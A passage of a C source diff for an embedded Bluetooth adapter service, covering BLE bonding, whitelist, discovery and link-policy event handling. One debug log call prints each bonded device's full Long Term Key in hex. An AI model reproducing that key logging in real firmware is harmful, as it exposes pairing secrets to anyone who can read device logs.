bt_sal_le_remove_white_list(PRIMARY_ADAPTER, addr, device_get_address_type(device)); + goto out; + } + + is_added = device_check_flag(device, DFLAG_WHITELIST_ADDED); + + if (is_add == is_added) + goto out; + + if (is_add) { + device_set_flags(device, DFLAG_WHITELIST_ADDED); + } else { + device_clear_flag(device, DFLAG_WHITELIST_ADDED); + } + adapter_update_whitelist(); + +out: + adapter_unlock(); +} + +static void process_le_bonded_device_update_evt(remote_device_le_properties_t* props, uint16_t bonded_devices_cnt) +{ + bt_device_t* device; + remote_device_le_properties_t* prop = props; + char addr_str[BT_ADDR_STR_LENGTH]; + + adapter_lock(); + for (int i = 0; i < bonded_devices_cnt; i++) { + device = adapter_find_device(&prop->addr, BT_TRANSPORT_BLE); + if (!device) + continue; + + /* device had bonded and smpkey had stored */ + if (device_check_flag(device, DFLAG_LE_KEY_SET)) { + device_delete_smp_key(device); + } + + device_set_address_type(device, prop->addr_type); + /* store smp key to mapped device struct */ + device_set_smp_key(device, prop->smp_key); + device_set_identity_address(device, (bt_address_t*)prop->smp_key); + device_set_local_csrk(device, prop->local_csrk); + + bt_addr_ba2str(&prop->addr, addr_str); + uint8_t* ltk = &prop->smp_key[12]; + BT_LOGD("LE BOND DEVICE[%d]: Addr:[%s] Atype:[%d] LTK: [%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X]", + i, addr_str, prop->addr_type, ltk[0], ltk[1], ltk[2], ltk[3], ltk[4], ltk[5], ltk[6], ltk[7], + ltk[8], ltk[9], ltk[10], ltk[11], ltk[12], ltk[13], ltk[14], ltk[15]); + UNUSED(ltk); + prop++; + } + + /* update all bonded le device to storage */ + adapter_update_le_bonded_device(); + free(props); + adapter_unlock(); +} + +static void process_le_sc_local_oob_data_got_evt(bt_address_t* addr, bt_128key_t c_val, bt_128key_t r_val) +{ + adapter_lock(); + + bt_device_t* device = adapter_find_device(addr, BT_TRANSPORT_BLE); + if (device == NULL) { + adapter_unlock(); + return; + } + + adapter_unlock(); + + CALLBACK_FOREACH(CBLIST, adapter_callbacks_t, on_le_sc_local_oob_data_got, addr, c_val, r_val); +} + +static void handle_ble_event(void* data) +{ + adapter_ble_evt_t* evt = (adapter_ble_evt_t*)data; + + switch (evt->evt_id) { + case LE_ADDR_UPDATE_EVT: + process_le_address_update_evt(&evt->addr_update.local_addr, evt->addr_update.type); + break; + case LE_PHY_UPDATE_EVT: + process_le_phy_update_evt(&evt->phy_update.addr, evt->phy_update.tx_phy, + evt->phy_update.rx_phy, evt->phy_update.status); + break; + case LE_WHITELIST_UPDATE_EVT: + process_le_whitelist_update_evt(&evt->whitelist.addr, + evt->whitelist.is_add, + evt->whitelist.status); + break; + case LE_BONDED_DEVICE_UPDATE_EVT: + process_le_bonded_device_update_evt(evt->bonded_devices.props, + evt->bonded_devices.bonded_devices_cnt); + break; + case LE_SC_LOCAL_OOB_DATA_GOT_EVT: + process_le_sc_local_oob_data_got_evt(&evt->oob_data.addr, + evt->oob_data.c_val, + evt->oob_data.r_val); + break; + default: + break; + } + + free(data); +} +#endif + +#ifdef CONFIG_UORB +static void adapter_broadcast_state(int state) +{ + adapter_service_t* adapter = &g_adapter_service; + struct bt_stack_state uORB_state; + struct timespec ts; + + clock_gettime(CLOCK_MONOTONIC, &ts); + memset(&uORB_state, 0, sizeof(uORB_state)); + uORB_state.timestamp = ts.tv_sec * 1000 + ts.tv_nsec / 1000000UL; + uORB_state.state = state; + + if (adapter->adapter_state_adv > 0) { + int ret = orb_publish(ORB_ID(bt_stack_state), adapter->adapter_state_adv, &uORB_state); + if (ret != 0) + BT_LOGE("Failed to publish stack state, ret: %d", ret); + } else + BT_LOGE("%s error advertise orb fd: %d", __func__, adapter->adapter_state_adv); +} +#endif + +void adapter_notify_state_change(bt_adapter_state_t prev, bt_adapter_state_t current) +{ + adapter_service_t* adapter = &g_adapter_service; + + BT_LOGD("%s, prev:%d--->current:%d", __func__, prev, current); + +#ifdef CONFIG_UORB + if (current == BT_ADAPTER_STATE_ON) + adapter_broadcast_state(BT_STACK_STATE_ON); + else if (current == BT_ADAPTER_STATE_OFF) + adapter_broadcast_state(BT_STACK_STATE_OFF); +#endif + + adapter_lock(); + adapter->adapter_state = current; + adapter_unlock(); + CALLBACK_FOREACH(CBLIST, adapter_callbacks_t, on_adapter_state_changed, current); +} + +void adapter_on_adapter_info_load(void) +{ + adapter_service_t* adapter = &g_adapter_service; + adapter_storage_t storage = { 0 }; + + bt_storage_load_adapter_info(&storage); + adapter_properties_copy(&adapter->properties, &storage); +} + +void adapter_on_adapter_state_changed(uint8_t stack_state) +{ + uint16_t event; + adapter_service_t* adapter = &g_adapter_service; + + switch (stack_state) { + case BT_BREDR_STACK_STATE_ON: { + int ret; + +#if !defined(CONFIG_BLUETOOTH_STACK_LE_ZBLUE) + adapter_on_adapter_info_load(); +#endif + /* load bonded devices to stack (name/address/cod/alias/linkkey) */ + ret = bt_storage_load_bonded_device(bonded_device_loaded); + if (ret < 0) { + BT_LOGE("%s, load_bonded_device err:%d", __func__, ret); + bonded_device_loaded(NULL, 0, 0); + } + + /* waiting for device load finished */ + return; + } + case BT_BREDR_STACK_STATE_OFF: + event = BREDR_DISABLED; + break; + case BLE_STACK_STATE_ON: + event = BLE_ENABLED; + break; + case BLE_STACK_STATE_OFF: + event = BLE_DISABLED; + break; + default: + return; + } + send_to_state_machine((state_machine_t*)adapter->stm, event, NULL); +} + +void adapter_on_le_enabled(bool enablebt) +{ +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT + adapter_service_t* adapter = &g_adapter_service; + int ret; + char addrstr[BT_ADDR_STR_LENGTH]; + + BT_LOGD("%s, enablebt:%d", __func__, enablebt); + + /* get le address */ + ret = bt_sal_le_get_address(PRIMARY_ADAPTER, &adapter->le_properties.addr); + if (ret < 0) { + BT_LOGE("%s, get le address fail, ret:%d", __func__, ret); + bt_addr_set_empty(&adapter->le_properties.addr); + } + + bt_addr_ba2str(&adapter->le_properties.addr, addrstr); + BT_LOGD("%s, le_addr:%s", __func__, addrstr); + + /* set le io capability ? */ + /* set appearance ? */ + /* load bonded device to stack ? SMP keys */ + ret = bt_storage_load_le_bonded_device(le_bonded_device_loaded); + if (ret < 0) { + le_bonded_device_loaded(NULL, 0, 0); + } + /* set white list ? */ + ret = bt_storage_load_whitelist_device(whitelist_device_loaded); + if (ret < 0) { + whitelist_device_loaded(NULL, 0, 0); + } + + /* set resolvinglist list ? */ + /* enable cdtk */ + // bt_sal_le_enable_key_derivation(true, true); + + /* enable advertiser manager */ +#ifdef CONFIG_BLUETOOTH_BLE_ADV + adv_manager_init(); +#endif + + /* enable scan manager */ +#ifdef CONFIG_BLUETOOTH_BLE_SCAN + scan_manager_init(); +#endif + /* enable L2CAP service */ +#ifdef CONFIG_BLUETOOTH_L2CAP + if (!enablebt) + l2cap_service_init(); +#endif + /* startup gatt service */ + if (enablebt) + send_to_state_machine((state_machine_t*)adapter->stm, SYS_TURN_ON, NULL); +#endif +} + +void adapter_on_le_disabled(void) +{ +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT + BT_LOGD("%s", __func__); +#ifdef CONFIG_BLUETOOTH_BLE_ADV + adv_manager_cleanup(); +#endif +#ifdef CONFIG_BLUETOOTH_BLE_SCAN + adapter_lock(); + bt_list_clear(g_adapter_service.le_devices); + adapter_unlock(); + scan_manager_cleanup(); +#endif +#ifdef CONFIG_BLUETOOTH_L2CAP + l2cap_service_cleanup(); +#endif + /* wait save info done*/ +#endif +} + +void adapter_on_br_enabled(void) +{ + adapter_properties_t* props = &g_adapter_service.properties; + char addrstr[BT_ADDR_STR_LENGTH]; + + /* set local name */ + bt_sal_set_name(PRIMARY_ADAPTER, props->name); + /* get local address */ + bt_sal_get_address(PRIMARY_ADAPTER, &props->addr); + /* set io capability, first load stored adapter info, or use Kconfig default */ + bt_sal_set_io_capability(PRIMARY_ADAPTER, props->io_capability); + /* set scan mode, no discoverable no connectable */ + bt_sal_set_scan_mode(PRIMARY_ADAPTER, props->scan_mode, props->bondable); + /* set local class of device */ + bt_sal_set_device_class(PRIMARY_ADAPTER, props->class_of_device); + /* set default inquiry scan parameter */ + /* */ + /* enable L2CAP service */ +#ifdef CONFIG_BLUETOOTH_L2CAP + l2cap_service_init(); +#endif + + bt_addr_ba2str(&props->addr, addrstr); + BT_LOGI("Adapter Info:\n" + "\tName:%s\n" + "\tAddress:%s\n" + "\tIoCap:%" PRIu32 "\n" + "\tScanmode:%d\n" + "\tBondable:%d\n" + "\tDeviceClass:0x%08" PRIx32 "\n", + props->name, addrstr, + props->io_capability, props->scan_mode, props->bondable, + props->class_of_device); +} + +void adapter_on_br_disabled(void) +{ + BT_LOGD("%s", __func__); + + adapter_lock(); + bt_list_clear(g_adapter_service.devices); + adapter_unlock(); +} + +static void handle_scan_mode_changed(void* data) +{ + bt_scan_mode_t scan_mode = *((bt_scan_mode_t*)data); + + free(data); + adapter_lock(); + adapter_save_properties(); + adapter_unlock(); + /* notify properties changed */ + CALLBACK_FOREACH(CBLIST, adapter_callbacks_t, on_scan_mode_changed, scan_mode); +} + +static void handle_irk_changed(void* data) +{ + adapter_service_t* adapter = &g_adapter_service; + uint8_t* irk = (uint8_t*)data; + + adapter_lock(); + memcpy(adapter->properties.irk, irk, sizeof(adapter->properties.irk)); + adapter_save_properties(); + adapter_unlock(); + free(data); +} + +static void process_link_role_changed_evt(bt_address_t* addr, bt_link_role_t role) +{ + bt_device_t* device; + uint32_t cod; + bt_link_policy_t policy; + bool disable_policy = false; + + /* callback on HCI Role Change event received, + only BT_LINK_ROLE_MASTER or BT_LINK_ROLE_SLAVE are possible */ + BT_ADDR_LOG("Link role switched at %s, new local role: %s", addr, + role == BT_LINK_ROLE_MASTER ? "Master" : "Slave"); + + adapter_lock(); + device = adapter_find_device(addr, BT_TRANSPORT_BREDR); + if (device) { + device_set_local_role(device, role); + cod = device_get_device_class(device); + policy = device_get_link_policy(device); + if (IS_HEADSET(cod) && role == BT_LINK_ROLE_MASTER) + disable_policy = true; + } + + adapter_unlock(); + if (disable_policy) { + BT_ADDR_LOG("Disable role switch at %s", addr); + policy &= ~BT_BR_LINK_POLICY_ENABLE_ROLE_SWITCH; + bt_sal_set_link_policy(PRIMARY_ADAPTER, addr, policy); + } +} + +static void process_link_policy_changed_evt(bt_address_t* addr, bt_link_policy_t policy) +{ + bt_device_t* device; + + BT_ADDR_LOG("Link policy changed at %s, role switch: %s, sniff: %s", addr, + policy & BT_BR_LINK_POLICY_ENABLE_ROLE_SWITCH ? "enabled" : "disabled", + policy & BT_BR_LINK_POLICY_ENABLE_SNIFF ? "enabled" : "disabled"); + + adapter_lock(); + device = adapter_find_device(addr, BT_TRANSPORT_BREDR); + if (device) + device_set_link_policy(device, policy); + + adapter_unlock(); +} + +static void handle_link_event(void* data) +{ + adapter_remote_event_t* evt = (adapter_remote_event_t*)data; + switch (evt->evt_id) { + case LINK_MODE_CHANGED_EVT: + bt_pm_remote_link_mode_changed(&evt->addr, evt->link_mode.mode, evt->link_mode.sniff_interval); + break; + case LINK_ROLE_CHANGED_EVT: + process_link_role_changed_evt(&evt->addr, evt->link_role.role); + break; + case LINK_POLICY_CHANGED_EVT: + process_link_policy_changed_evt(&evt->addr, evt->link_policy.policy); + break; + } + + free(data); +} + +void adapter_on_scan_mode_changed(bt_scan_mode_t mode) +{ + bt_scan_mode_t* scan_mode = malloc(sizeof(bt_scan_mode_t)); + + *scan_mode = mode; + do_in_service_loop(handle_scan_mode_changed, scan_mode); +} + +void adapter_on_irk_changed(const char* irk, uint8_t size) +{ + uint8_t* local_irk = malloc(size); + + memcpy(local_irk, irk, size); + do_in_service_loop(handle_irk_changed, local_irk); +} + +void adapter_on_discovery_state_changed(bt_discovery_state_t state) +{ + adapter_discovery_evt_t* evt = malloc(sizeof(adapter_discovery_evt_t)); + if (!evt) + return; + + evt->evt_id = DISCOVER_STATE_CHANGE_EVT; + evt->state = state; + do_in_service_loop(handle_discovery_event, evt); +} + +void adapter_on_device_found(bt_discovery_result_t* result) +{ + adapter_discovery_evt_t* evt = malloc(sizeof(adapter_discovery_evt_t)); + if (!evt) + return; + + evt->evt_id = DEVICE_FOUND_EVT; + memcpy(&evt->result, result, sizeof(bt_discovery_result_t)); + do_in_service_loop(handle_discovery_event, evt); +} + +void adapter_on_remote_name_recieved(bt_address_t* addr, const char* name) +{ + adapter_discovery_evt_t* evt = malloc(sizeof(adapter_discovery_evt_t)); + if (!evt) + return; + + evt->evt_id = REMOTE_NAME_RECIEVED_EVT; + memcpy(&evt->remote_name.addr, addr, sizeof(bt_address_t)); + if (name) { + strncpy((char*)evt->remote_name.name, name, BT_REM_NAME_MAX_LEN); + } else { + evt->remote_name.name[0] = '\0'; + } + + do_in_service_loop(handle_discovery_event, evt); +} + +void adapter_on_connect_request(bt_address_t* addr, uint32_t cod) +{ + adapter_remote_event_t* evt = create_remote_event(addr, CONNECT_REQUEST_EVT); + if (!evt) + return; + + evt->cod = cod; + do_in_service_loop(handle_connection_event, evt); +} + +void adapter_on_connection_state_changed(acl_state_param_t* param) +{ + adapter_remote_event_t* evt = create_remote_event(¶m->addr, CONNECTION_STATE_CHANGE_EVT); + if (!evt) + return; + + memcpy(&evt->acl_params, param, sizeof(acl_state_param_t)); + do_in_service_loop(handle_connection_event, evt); +} + +void adapter_on_pairing_request(bt_address_t* addr, bool local_initiate, bool is_bondable) +{ + adapter_remote_event_t* evt = create_remote_event(addr, PAIR_REQUEST_EVT); + if (!evt) + return; + + evt->pair_req.local_initiate = local_initiate; + evt->pair_req.is_bondable = is_bondable; + do_in_service_loop(handle_security_event, evt); +} + +void adapter_on_pin_request(bt_address_t* addr, uint32_t cod, + bool min_16_digit, const char* name) +{ + adapter_remote_event_t* evt = create_remote_event(addr, PIN_REQUEST_EVT); + if (!evt) + return; + + evt->pin_req.cod = cod; + evt->pin_req.min_16_digit = min_16_digit; + if (name) + strncpy(evt->pin_req.name, name, BT_REM_NAME_MAX_LEN); + + do_in_service_loop(handle_security_event, evt); +} + +/* simple security pairing request or le smp pairing */ +void adapter_on_ssp_request(bt_address_t* addr, uint8_t transport, + uint32_t cod, bt_pair_type_t ssp_type, + uint32_t pass_key, const char* name) +{ + adapter_remote_event_t* evt = create_remote_event(addr, SSP_REQUEST_EVT); + if (!evt) + return; + + evt->ssp_req.cod = cod; + evt->ssp_req.ssp_type = ssp_type; + evt->ssp_req.pass_key = pass_key; + evt->ssp_req.transport = transport; + if (name) + strncpy(evt->ssp_req.name, name, BT_REM_NAME_MAX_LEN); + + do_in_service_loop(handle_security_event, evt); +} + +void adapter_on_bond_state_changed(bt_address_t* addr, bond_state_t state, uint8_t transport, bt_status_t status, bool is_ctkd) +{ + adapter_remote_event_t* evt = create_remote_event(addr, BOND_STATE_CHANGE_EVT); + if (!evt) + return; + + evt->bond_state.state = state; + evt->bond_state.transport = transport; + evt->bond_state.is_ctkd = is_ctkd; + evt->bond_state.status = status; + do_in_service_loop(handle_security_event, evt); +} + +void adapter_on_service_search_done(bt_address_t* addr, bt_uuid_t* uuids, uint16_t size) +{ + adapter_remote_event_t* evt = create_remote_event(addr, SDP_SEARCH_DONE_EVT); + if (!evt) + return; + + evt->sdp.uuid_size = size; + evt->sdp.uuids = malloc(sizeof(bt_uuid_t) * size); + if (!evt->sdp.uuids) { + free(evt); + return; + } + memcpy(evt->sdp.uuids, uuids, sizeof(bt_uuid_t) * size); + do_in_service_loop(handle_security_event, evt); +} + +void adapter_on_encryption_state_changed(bt_address_t* addr, bool encrypted, uint8_t transport) +{ + adapter_remote_event_t* evt = create_remote_event(addr, ENC_STATE_CHANGE_EVT); + if (!evt) + return; + + evt->enc_state.encrypted = encrypted; + evt->enc_state.transport = transport; + do_in_service_loop(handle_security_event, evt); +} + +void adapter_on_link_key_update(bt_address_t* addr, bt_128key_t link_key, bt_link_key_type_t type) +{ + adapter_remote_event_t* evt = create_remote_event(addr, LINK_KEY_UPDATE_EVT); + if (!evt) + return; + + memcpy(evt->link_key.key, link_key, sizeof(bt_128key_t)); + evt->link_key.type = type; + do_in_service_loop(handle_security_event, evt); +} + +void adapter_on_link_key_removed(bt_address_t* addr, bt_status_t status) +{ + adapter_remote_event_t* evt = create_remote_event(addr, LINK_KEY_REMOVED_EVT); + if (!evt) + return; + + evt->link_key.status = status; + do_in_service_loop(handle_security_event, evt); +} + +void adapter_on_link_role_changed(bt_address_t* addr, bt_link_role_t role) +{ + BT_LOGD("%s", __func__); + adapter_remote_event_t* evt = create_remote_event(addr, LINK_ROLE_CHANGED_EVT); + if (!evt) + return; + + evt->link_role.role = role; + do_in_service_loop(handle_link_event, evt); +} + +/* PM need implement */ +void adapter_on_link_mode_changed(bt_address_t* addr, bt_link_mode_t mode, uint16_t sniff_interval) +{ + adapter_remote_event_t* evt = create_remote_event(addr, LINK_MODE_CHANGED_EVT); + if (!evt) + return; + + evt->link_mode.mode = mode; + evt->link_mode.sniff_interval = sniff_interval; + do_in_service_loop(handle_link_event, evt); +} + +void adapter_on_link_policy_changed(bt_address_t* addr, bt_link_policy_t policy) +{ + BT_LOGD("%s", __func__); + adapter_remote_event_t* evt = create_remote_event(addr, LINK_POLICY_CHANGED_EVT); + if (!evt) + return; + + evt->link_policy.policy = policy; + do_in_service_loop(handle_link_event, evt); +} + +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT +void adapter_on_le_addr_update(bt_address_t* addr, ble_addr_type_t type) +{ + BT_LOGD("%s", __func__); + + adapter_ble_evt_t* evt = malloc(sizeof(adapter_ble_evt_t)); + + evt->evt_id = LE_ADDR_UPDATE_EVT; + memcpy(&evt->addr_update.local_addr, addr, sizeof(*addr)); + evt->addr_update.type = type; + + do_in_service_loop(handle_ble_event, evt); +} + +void adapter_on_le_phy_update(bt_address_t* addr, ble_phy_type_t tx_phy, + ble_phy_type_t rx_phy, bt_status_t status) +{ + BT_LOGD("%s", __func__); + + adapter_ble_evt_t* evt = malloc(sizeof(adapter_ble_evt_t)); + + evt->evt_id = LE_PHY_UPDATE_EVT; + memcpy(&evt->phy_update.addr, addr, sizeof(*addr)); + evt->phy_update.tx_phy = tx_phy; + evt->phy_update.rx_phy = rx_phy; + evt->phy_update.status = status; + + do_in_service_loop(handle_ble_event, evt); +} + +void adapter_on_whitelist_update(bt_address_t* addr, bool is_add, bt_status_t status) +{ + BT_LOGD("%s", __func__); + + adapter_ble_evt_t* evt = malloc(sizeof(adapter_ble_evt_t)); + + evt->evt_id = LE_WHITELIST_UPDATE_EVT; + memcpy(&evt->whitelist.addr, addr, sizeof(*addr)); + evt->whitelist.is_add = is_add; + evt->whitelist.status = status; + + do_in_service_loop(handle_ble_event, evt); +} + +void adapter_on_le_bonded_device_update(remote_device_le_properties_t* props, uint16_t bonded_devices_cnt) +{ + BT_LOGD("%s", __func__); + + adapter_ble_evt_t* evt = malloc(sizeof(adapter_ble_evt_t)); + + evt->evt_id = LE_BONDED_DEVICE_UPDATE_EVT; + size_t prop_size = sizeof(remote_device_le_properties_t) * bonded_devices_cnt; + evt->bonded_devices.props = malloc(prop_size); + evt->bonded_devices.bonded_devices_cnt = bonded_devices_cnt; + memcpy(evt->bonded_devices.props, props, prop_size); + + do_in_service_loop(handle_ble_event, evt); +} + +void adapter_on_le_local_oob_data_got(bt_address_t* addr, bt_128key_t c_val, bt_128key_t r_val) +{ + adapter_ble_evt_t* evt = malloc(sizeof(adapter_ble_evt_t)); + + evt->evt_id = LE_SC_LOCAL_OOB_DATA_GOT_EVT; + memcpy(&evt->oob_data.addr, addr, sizeof(evt->oob_data.addr)); + memcpy(evt->oob_data.c_val, c_val, sizeof(evt->oob_data.c_val)); + memcpy(evt->oob_data.r_val, r_val, sizeof(evt->oob_data.r_val)); + + do_in_service_loop(handle_ble_event, evt); +} +#endif + +void adapter_init(void) +{ + adapter_service_t* adapter = &g_adapter_service; + pthread_mutexattr_t attr; + + memset(adapter, 0, sizeof(g_adapter_service)); + pthread_mutexattr_init(&attr); + pthread_mutexattr_settype(&attr, PTHREAD_MUTEX_RECURSIVE); + pthread_mutex_init(&adapter->adapter_lock, &attr); + + adapter->is_discovering = false; + adapter->max_acl_connections = 10; + adapter->devices = bt_list_new(adapter_delete_device); +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT + adapter->le_devices = bt_list_new(adapter_delete_device); +#endif + adapter->adapter_callbacks = bt_callbacks_list_new(CONFIG_BLUETOOTH_MAX_REGISTER_NUM); + adapter->stm = adapter_state_machine_new(NULL); + adapter->adapter_state_adv = -1; +#ifdef CONFIG_UORB + adapter->adapter_state_adv = orb_advertise_multi_queue_persist(ORB_ID(bt_stack_state), + NULL, NULL, 1); + if (adapter->adapter_state_adv < 0) + BT_LOGE("adapter service state advertise failed :%d", adapter->adapter_state_adv); +#endif +} + +void* adapter_register_callback(void* remote, const adapter_callbacks_t* adapter_cbs) +{ + return (void*)bt_remote_callbacks_register(g_adapter_service.adapter_callbacks, remote, (void*)adapter_cbs); +} + +bool adapter_unregister_callback(void** remote, void* cookie) +{ + return bt_remote_callbacks_unregister(g_adapter_service.adapter_callbacks, remote, (remote_callback_t*)cookie); +} + +#if 0 +void *adapter_register_remote_callback(void *remote, const remote_device_callbacks_t *remote_cbs) +{ + return true; +} + +bool adapter_unregister_remote_callback(void **remote, void *cookie) +{ + return true; +} +#endif + +bt_status_t adapter_send_event(uint16_t event_id, void* data) +{ + adapter_service_t* adapter = &g_adapter_service; + + send_to_state_machine((state_machine_t*)adapter->stm, event_id, data); + + return BT_STATUS_SUCCESS; +} + +bt_status_t adapter_on_profile_services_startup(uint8_t transport, bool ret) +{ + adapter_service_t* adapter = &g_adapter_service; + + BT_LOGD("%s transport all profiles is startup", transport == BT_TRANSPORT_BREDR ? "BREDR" : "BLE"); + + uint16_t event = transport == BT_TRANSPORT_BREDR ? BREDR_PROFILE_ENABLED : BLE_PROFILE_ENABLED; + send_to_state_machine((state_machine_t*)adapter->stm, event, NULL); + + return BT_STATUS_SUCCESS; +} + +bt_status_t adapter_on_profile_services_shutdown(uint8_t transport, bool ret) +{ + adapter_service_t* adapter = &g_adapter_service; + + BT_LOGD("%s transport all profiles is shutdown", transport == BT_TRANSPORT_BREDR ? "BREDR" : "BLE"); + + uint16_t event = transport == BT_TRANSPORT_BREDR ? BREDR_PROFILE_DISABLED : BLE_PROFILE_DISABLED; + send_to_state_machine((state_machine_t*)adapter->stm, event, NULL); + + return BT_STATUS_SUCCESS; +} + +bt_status_t adapter_enable(uint8_t opt) +{ + adapter_service_t* adapter = &g_adapter_service; + bt_adapter_state_t state = adapter_get_state(); + + if (state == BT_ADAPTER_STATE_ON) { + return BT_STATUS_DONE; + } + + if (opt == SYS_SET_BT_ALL) + send_to_state_machine((state_machine_t*)adapter->stm, SYS_TURN_ON, NULL); + else + send_to_state_machine((state_machine_t*)adapter->stm, TURN_ON_BLE, NULL); + + return BT_STATUS_SUCCESS; +} + +bt_status_t adapter_disable(uint8_t opt) +{ + adapter_service_t* adapter = &g_adapter_service; + bt_adapter_state_t state = adapter_get_state(); + + if (state == BT_ADAPTER_STATE_OFF) { + return BT_STATUS_DONE; + } + + if (opt == SYS_SET_BT_ALL) + send_to_state_machine((state_machine_t*)adapter->stm, SYS_TURN_OFF, NULL); + else + send_to_state_machine((state_machine_t*)adapter->stm, TURN_OFF_BLE, NULL); + + return BT_STATUS_SUCCESS; +} + +bt_status_t adapter_disable_safe(uint8_t opt) +{ + adapter_service_t* adapter = &g_adapter_service; + + if (opt == SYS_SET_BT_ALL) + send_to_state_machine((state_machine_t*)adapter->stm, SYS_TURN_OFF_SAFE, NULL); + + return BT_STATUS_SUCCESS; +} + +void adapter_cleanup(void) +{ + adapter_service_t* adapter = &g_adapter_service; + + /*TODO: disable adapter services brefore cleanup */ + // +#ifdef CONFIG_UORB + if (adapter->adapter_state_adv > 0) + orb_unadvertise(adapter->adapter_state_adv); +#endif + if (adapter->stm) { + adapter_lock(); + bt_list_free(adapter->devices); + adapter->devices = NULL; +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT + bt_list_free(adapter->le_devices); + adapter->le_devices = NULL; +#endif + bt_callbacks_list_free(adapter->adapter_callbacks); + adapter->adapter_callbacks = NULL; + adapter_state_machine_destory(adapter->stm); + adapter_unlock(); + pthread_mutex_destroy(&adapter->adapter_lock); + } +} + +bt_adapter_state_t adapter_get_state(void) +{ + adapter_service_t* adapter = &g_adapter_service; + bt_adapter_state_t state; + + adapter_lock(); + state = adapter->adapter_state; + adapter_unlock(); + + return state; +} + +bool adapter_is_le_enabled(void) +{ + bt_adapter_state_t state; + + if (!adapter_is_support_le()) + return false; + + state = adapter_get_state(); + if (state == BT_ADAPTER_STATE_BLE_ON || state == BT_ADAPTER_STATE_TURNING_ON || state == BT_ADAPTER_STATE_TURNING_OFF || state == BT_ADAPTER_STATE_ON) + return true; + + return false; +} + +bt_device_type_t adapter_get_type(void) +{ +#if defined(CONFIG_KVDB) && defined(__NuttX__) + return property_get_int32("persist.bluetooth.adapter.type", 2); +#else + return BT_DEVICE_TYPE_DUAL; +#endif +} + +bt_status_t adapter_set_discovery_filter(void) +{ + return BT_STATUS_NOT_SUPPORTED; +} + +static void adapter_remove_found_devices() +{ + bt_list_t* list = g_adapter_service.devices; + bt_list_node_t* node; + bt_list_node_t* next_node; + + for (node = bt_list_head(list); node != NULL; node = next_node) { + bt_device_t* device; + + next_node = bt_list_next(list, node); + device = bt_list_node(node); + if (device == NULL) { + continue; + } + + if (device_is_bonded(device)) { + continue; + } + + if (device_is_connected(device)) { + continue; + } + + bt_list_remove_node(list, node); + } +} + +bt_status_t adapter_start_discovery(uint32_t timeout, bool is_limited) +{ + adapter_service_t* adapter = &g_adapter_service; + + adapter_lock(); + if (adapter->adapter_state != BT_ADAPTER_STATE_ON) { + adapter_unlock(); + BT_DFX_BR_GAP_INQUIRY_ERROR(BT_DFXE_ADAPTER_STATE_NOT_ON); + return BT_STATUS_NOT_ENABLED; + } + + if (adapter->is_discovering) { + adapter_unlock(); + BT_DFX_BR_GAP_INQUIRY_ERROR(BT_DFXE_REPEATED_ATTEMPT); + return BT_STATUS_FAIL; + } + + adapter_remove_found_devices(); + + bt_status_t status = bt_sal_start_discovery(PRIMARY_ADAPTER, timeout, is_limited); + if (status != BT_STATUS_SUCCESS) { + adapter_unlock(); + return status; + } + + adapter->is_discovering = true; + adapter_unlock(); + return status; +} + +bt_status_t adapter_cancel_discovery(void) +{ + adapter_service_t* adapter = &g_adapter_service; + + adapter_lock(); + if (adapter->adapter_state != BT_ADAPTER_STATE_ON) { + adapter_unlock(); + return BT_STATUS_NOT_ENABLED; + } + + // adapter_remove_found_devices(); + + if (!adapter->is_discovering) { + adapter_unlock(); + return BT_STATUS_FAIL; + } + + bt_status_t status = bt_sal_stop_discovery(PRIMARY_ADAPTER); + adapter->is_discovering = false; + adapter_unlock(); + + return status; +} + +bool adapter_is_discovering(void) +{ + adapter_service_t* adapter = &g_adapter_service; + bool is_discovering; + + adapter_lock(); + is_discovering = adapter->is_discovering; + adapter_unlock(); + + return is_discovering; +} + +void adapter_get_address(bt_address_t* addr) +{ + adapter_lock(); + memcpy(addr, &g_adapter_service.properties.addr, sizeof(bt_address_t)); + adapter_unlock(); +} + +bt_status_t adapter_set_name(const char* name) +{ + adapter_service_t* adapter = &g_adapter_service; + bt_status_t status = BT_STATUS_SUCCESS; + + if (strlen(name) > BT_LOC_NAME_MAX_LEN) + return BT_STATUS_PARM_INVALID; + + adapter_lock(); + CHECK_ADAPTER_READY(); + if (strncmp(adapter->properties.name, name, BT_LOC_NAME_MAX_LEN) == 0) + goto error; + + status = bt_sal_set_name(PRIMARY_ADAPTER, (char*)name); + if (status != BT_STATUS_SUCCESS) + goto error; + + strncpy(adapter->properties.name, name, BT_LOC_NAME_MAX_LEN); + adapter_save_properties(); + adapter_unlock(); + /* TODO notify properties changed */ + CALLBACK_FOREACH(CBLIST, adapter_callbacks_t, on_device_name_changed, name); + return status; +error: + adapter_unlock(); + return status; +} + +void adapter_get_name(char* name, int size) +{ + adapter_service_t* adapter = &g_adapter_service; + + adapter_lock(); + strlcpy(name, adapter->properties.name, size); + adapter_unlock(); +} + +bt_status_t adapter_get_uuids(bt_uuid_t* uuids, uint16_t* size) +{ + bt_status_t status = BT_STATUS_SUCCESS; + + adapter_lock(); + CHECK_ADAPTER_READY(); + + service_manager_get_uuid(uuids, size); + +error: + adapter_unlock(); + return status; +} + +bt_status_t adapter_set_scan_mode(bt_scan_mode_t mode, bool bondable) +{ + adapter_service_t* adapter = &g_adapter_service; + bt_status_t status = BT_STATUS_SUCCESS; + + adapter_lock(); + CHECK_ADAPTER_READY(); + if (adapter->properties.scan_mode == mode && adapter->properties.bondable == bondable) + goto error; + + status = bt_sal_set_scan_mode(PRIMARY_ADAPTER, mode, bondable); + if (status != BT_STATUS_SUCCESS) + goto error; + + adapter->properties.scan_mode = mode; + adapter->properties.bondable = bondable; + +error: + adapter_unlock(); + return status; +} + +bt_scan_mode_t adapter_get_scan_mode(void) +{ + adapter_service_t* adapter = &g_adapter_service; + bt_scan_mode_t mode; + + adapter_lock(); + mode = adapter->properties.scan_mode; + adapter_unlock(); + + return mode; +} + +bt_status_t adapter_set_device_class(uint32_t cod) +{ + adapter_service_t* adapter = &g_adapter_service; + bt_status_t status = BT_STATUS_SUCCESS; + + adapter_lock(); + CHECK_ADAPTER_READY(); + if (adapter->properties.class_of_device == cod) + goto error; + + status = bt_sal_set_device_class(PRIMARY_ADAPTER, cod); + if (status != BT_STATUS_SUCCESS) + goto error; + + adapter->properties.class_of_device = cod; + adapter_save_properties(); +error: + adapter_unlock(); + return status; +} + +uint32_t 